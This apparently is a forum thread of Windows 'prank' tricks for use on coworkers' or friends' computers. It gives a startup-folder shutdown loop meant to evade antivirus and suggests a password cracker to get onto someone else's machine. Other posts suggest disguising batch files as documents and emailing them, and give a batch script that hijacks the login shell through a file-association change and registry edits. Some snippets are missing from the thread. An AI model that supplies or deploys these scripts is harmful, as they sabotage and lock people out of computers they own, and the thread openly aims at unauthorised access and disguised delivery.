Fun trick to play on your coworkers...

SHUTDOWN -r -t 01 is a command that will restart windows, with a 1 second delay before the shutdown...

the fun comes in when you put that command in a shortcut, and place it in the startup folder.
if you remove the password to a computer, then put this shortcut in the startup it causes the system to restart every time it starts up. since this is using a windows command, windows doesn't realize that there's anything wrong, and antivirus programs won't either.
If you don't know it's there, you probably never will >: )

To stop this, press f8 during startup to get alternate boot menu, select safe mode, and delete the shortcut from the startup folder.

if you don't know how to make shortcuts, i've done it for you here:

enjoy pranking/permanently screwing someone.

EDIT: it just occoured to me that using this http://ipb.quicksilverscreen.com/index.php?showtopic=108499 password cracker, will make implementing this prank a lot easier if you're working with someone else's comp.

you really are an evil bastard arent ya?!!

hahahaha

Lol, yeah, I did this once with a batch file that puts itself into the startup folder. I didn't see that girl on the internet for a whole week after that.

I've used this before, with hilarious results when you save the BAT file to the desktop and change the icon to an IE (or if at work, an MS Word doc, PDF, etc...be creative!) one.

can this be sent via email as a "practical joke" on a "friend" of mine "wink wink"

thanks

ooh! and if this trick ever gets pulled on you


open notepad
and type



save it as a .vbs file and open it on their computer NOT YOURS

it will delete their key registry files..
XD

:: This makes a copy of minesweeper with the extension changed from exe to sbs,
:: and moves the copies to a few select locations.
copy "C:\WINDOWS\System32\winmine.exe" "C:\WINDOWS\winmine.sbs
copy "C:\WINDOWS\System32\winmine.exe" "C:\WINDOWS\System32\winmine.sbs


:: This makes anything with a *.sbs extension act like a regular executable.
:: You'll see why we’re doing this in a second.
assoc .sbs=exefile


:: This changes a few things in the registry, which will make winmine.sbs both
:: the new logonui as well as the new shell. At this point most users will have
:: no idea how to get back to the windows GUI, so the rest of this batch file
:: is simply overkill.
regedit.exe /s .\nuke.reg


:: This changes lots of file associations so that everything wants to open with
:: notepad.

Pretty wild to see what you can achieve with some knowledge and notepad. Hehe.

to use, open up notepad and copy and paste the code into the notepad. name the file (anyname).vbs (to make a .vbs file, when u save it or save as, it will ask u for a name and which type u want it, so choose all file then just name it as a .vbs file) then just click on the file u just made


1.Stupidity Shutdown - when opened it shuts down the persons ocomputer after displaying a message and a countdown
you can change the time it displays after the -t. and what the message says between the "" marks.


2.NotePad of Death (opens endless notepads, until the computer crashes)


3.Crazy Caps Lock (turns caps lock on and off rapidly)


4. Endless enter (fun for work or school


5.Endless BAckspace


6.CD drive mania (pops cd drive in and out) NOTE:: scanners find this as a virus. so it may not work for you


the end


your welcome
